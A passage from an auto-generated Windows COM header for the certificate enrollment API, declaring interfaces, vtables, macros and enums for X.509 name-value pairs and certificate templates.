(This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ISignerCertificates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ISignerCertificates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ISignerCertificates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ISignerCertificates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ISignerCertificates_Find(This,pSignerCert,piSignerCert)\t\\\n    ( (This)->lpVtbl -> Find(This,pSignerCert,piSignerCert) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISignerCertificates_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePair_INTERFACE_DEFINED__\n#define __IX509NameValuePair_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePair */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePair;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33f-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePair : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePair * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePair * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePair * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePair * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509NameValuePair * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Value )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in IX509NameValuePair * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509NameValuePairVtbl;\n\n    interface IX509NameValuePair\n    {\n        CONST_VTBL struct IX509NameValuePairVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509NameValuePair_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePair_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePair_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePair_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePair_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePair_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePair_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePair_Initialize(This,strName,strValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,strName,strValue) ) \n\n#define IX509NameValuePair_get_Value(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Value(This,pValue) ) \n\n#define IX509NameValuePair_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePair_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509NameValuePairs_INTERFACE_DEFINED__\n#define __IX509NameValuePairs_INTERFACE_DEFINED__\n\n/* interface IX509NameValuePairs */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509NameValuePairs;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab340-217d-11da-b2a4-000e7bbb2b09\")\n    IX509NameValuePairs : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509NameValuePairsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509NameValuePairs * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePair **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ __RPC__in_opt IX509NameValuePair *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509NameValuePairs * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509NameValuePairs * This);\n        \n        END_INTERFACE\n    } IX509NameValuePairsVtbl;\n\n    interface IX509NameValuePairs\n    {\n        CONST_VTBL struct IX509NameValuePairsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509NameValuePairs_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509NameValuePairs_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509NameValuePairs_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509NameValuePairs_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509NameValuePairs_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509NameValuePairs_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509NameValuePairs_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509NameValuePairs_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509NameValuePairs_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509NameValuePairs_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509NameValuePairs_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509NameValuePairs_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509NameValuePairs_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509NameValuePairs_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0067 */\n/* [local] */ \n\ntypedef \nenum EnrollmentTemplateProperty\n    {\n        TemplatePropCommonName\t= 1,\n        TemplatePropFriendlyName\t= 2,\n        TemplatePropEKUs\t= 3,\n        TemplatePropCryptoProviders\t= 4,\n        TemplatePropMajorRevision\t= 5,\n        TemplatePropDescription\t= 6,\n        TemplatePropKeySpec\t= 7,\n        TemplatePropSchemaVersion\t= 8,\n        TemplatePropMinorRevision\t= 9,\n        TemplatePropRASignatureCount\t= 10,\n        TemplatePropMinimumKeySize\t= 11,\n        TemplatePropOID\t= 12,\n        TemplatePropSupersede\t= 13,\n        TemplatePropRACertificatePolicies\t= 14,\n        TemplatePropRAEKUs\t= 15,\n        TemplatePropCertificatePolicies\t= 16,\n        TemplatePropV1ApplicationPolicy\t= 17,\n        TemplatePropAsymmetricAlgorithm\t= 18,\n        TemplatePropKeySecurityDescriptor\t= 19,\n        TemplatePropSymmetricAlgorithm\t= 20,\n        TemplatePropSymmetricKeyLength\t= 21,\n        TemplatePropHashAlgorithm\t= 22,\n        TemplatePropKeyUsage\t= 23,\n        TemplatePropEnrollmentFlags\t= 24,\n        TemplatePropSubjectNameFlags\t= 25,\n        TemplatePropPrivateKeyFlags\t= 26,\n        TemplatePropGeneralFlags\t= 27,\n        TemplatePropSecurityDescriptor\t= 28,\n        TemplatePropExtensions\t= 29,\n        TemplatePropValidityPeriod\t= 30,\n        TemplatePropRenewalPeriod\t= 31\n    } \tEnrollmentTemplateProperty;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0067_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplate_INTERFACE_DEFINED__\n#define __IX509CertificateTemplate_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplate */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplate;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"54244A13-555A-4e22-896D-1B0E52F76406\")\n    IX509CertificateTemplate : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Property( \n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplateVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplate * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplate * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Property )( \n            __RPC__in IX509CertificateTemplate * This,\n            /* [in] */ enum EnrollmentTemplateProperty property,\n            /* [retval][out] */ __RPC__out VARIANT *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplateVtbl;\n\n    interface IX509CertificateTemplate\n    {\n        CONST_VTBL struct IX509CertificateTemplateVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplate_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplate_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplate_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplate_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplate_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplate_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplate_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplate_get_Property(This,property,pValue)\t\\\n    ( (This)->lpVtbl -> get_Property(This,property,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplate_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateTemplates_INTERFACE_DEFINED__\n#define __IX509CertificateTemplates_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplates */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplates;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"13b79003-2181-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateTemplates : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ItemByOid( \n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateTemplatesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateTemplates * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509CertificateTemplates * This);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in BSTR bstrName,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByOid )( \n            __RPC__in IX509CertificateTemplates * This,\n            /* [in] */ __RPC__in_opt IObjectId *pOid,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateTemplatesVtbl;\n\n    interface IX509CertificateTemplates\n    {\n        CONST_VTBL struct IX509CertificateTemplatesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateTemplates_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateTemplates_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateTemplates_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateTemplates_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateTemplates_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateTemplates_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateTemplates_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateTemplates_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509CertificateTemplates_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509CertificateTemplates_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509CertificateTemplates_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509CertificateTemplates_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509CertificateTemplates_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509CertificateTemplates_get_ItemByName(This,bstrName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,bstrName,ppValue) ) \n\n#define IX509CertificateTemplates_get_ItemByOid(This,pOid,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByOid(This,pOid,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateTemplates_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0069 */\n/* [local] */ \n\ntypedef \nenum CommitTemplateFlags\n    {\n        CommitFlagSaveTemplateGenerateOID\t= 1,\n        CommitFlagSaveTemplateUseCurrentOID\t= 2,\n        CommitFlagSaveTemplateOverwrite\t= 3,\n        CommitFlagDeleteTemplate\t= 4\n    } \tCommitTemplateFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0069_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n#define __IX509CertificateTemplateWritable_INTERFACE_DEFINED__\n\n/* interface IX509CertificateTemplateWritable */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateTemplateWritable;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"F49466A7-395A-4e9e-B6E7-32B331600DC0\")\n    IX509CertificateTemplateWritable : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Commit( \n            /* [in] */ CommitTemplateFlags commitFlags,\n            /* [in] */ __RPC__in BSTR strServerContext) = 